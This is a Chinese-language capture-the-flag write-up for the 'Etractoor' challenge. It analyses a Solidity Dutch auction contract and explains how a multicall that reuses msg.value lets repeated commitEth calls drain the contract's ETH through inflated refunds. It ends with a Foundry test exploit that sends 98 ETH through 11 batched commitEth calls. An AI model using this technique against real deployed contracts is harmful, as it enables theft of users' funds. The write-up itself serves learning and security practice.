CTF-Etractoor

题目源代码:点击

题目要求:
已经启动了一场荷兰拍卖,以出售 1_000_000 个 FARM 代币。到目前为止,一个 degen 已经投入了 900 ETH。

您的任务是从 DutchAuction 合约中窃取至少 90% 的 ETH。

这次合约就只有一个,实现的是荷兰拍卖,我们要获取eth,所以我们就先看合约中,那个地方可以获得eth,
发现commitETH合约中,能够返回eth,

function commitEth(address payable _beneficiary) public payable nonReentrant
{
// Get ETH able to be committed
uint256 ethToTransfer = calculateCommitment(msg.value);

/// @notice Accept ETH Payments.
uint256 ethToRefund = msg.value - ethToTransfer;
if (ethToTransfer > 0) {
_addCommitment(_beneficiary, ethToTransfer);
}
/// @notice Return any ETH to be refunded.
if (ethToRefund > 0) {
_beneficiary.transfer(ethToRefund);
}
}

这个合约就是获得用户承诺的金额,计算最大的承诺上限,然后再与用户承诺金额比较,计算退回的eth.

还有就只再最后结算的时候,如果拍卖部成功,也会退回金额

function withdrawTokens(address beneficiary) public nonReentrant {
if (auctionSuccessful()) {
require(marketStatus.finalized, "DutchAuction: not finalized");
/// @dev Successful auction! Transfer claimed tokens.
uint256 tokensToClaim = tokensClaimable(beneficiary);
require(tokensToClaim > 0, "DutchAuction: No tokens to claim");
claimed[beneficiary] = claimed[beneficiary]+tokensToClaim;
IERC20(auctionToken).safeTransfer(beneficiary,tokensToClaim);
} else {
/// @dev Auction did not meet reserve price.
/// @dev Return committed funds back to user.
require(block.timestamp > marketInfo.endTime, "DutchAuction: auction has not finished yet");
uint256 fundsCommitted = commitments[beneficiary];
commitments[beneficiary] = 0; // Stop multiple withdrawals and free some gas

(bool success,) = payable(beneficiary).call{value:fundsCommitted}('');
require(success, 'ETH_TRANSFER_FAILED');
}
}

但是这个函数再finalize函数中才能被使用,而且还只能是管理者身份调用,所以就考虑commitETH函数

合约本身开头就实现了一个可以多个回调的函数,说明这里是个突破口,然后仔细发现commintETH函数,一直使用的msg.value,如果我们能重复使用这个msg.value就可以重复的使用commintETH,退回更多的eth,为自己创造利润。

这个题就解决了
这个是题解中一部分测试代码

/// solves the challenge
function testChallengeExploit() public {
vm.startPrank(attacker,attacker);

bytes memory singleCall = abi.encodeWithSignature("commitEth(address)",attacker);
bytes[] memory data = new bytes[](11);

for (uint i; i<11; ++i) {
data[i] = singleCall;
}

bytes memory multiCall = abi.encodeWithSignature("multicall(bytes[])",data);
address(dutchAuction).call{value:98e18}(multiCall);

vm.stopPrank();
validation();
}

(还是的了解怎么写代码,不要只知道思路,call的用法要记住)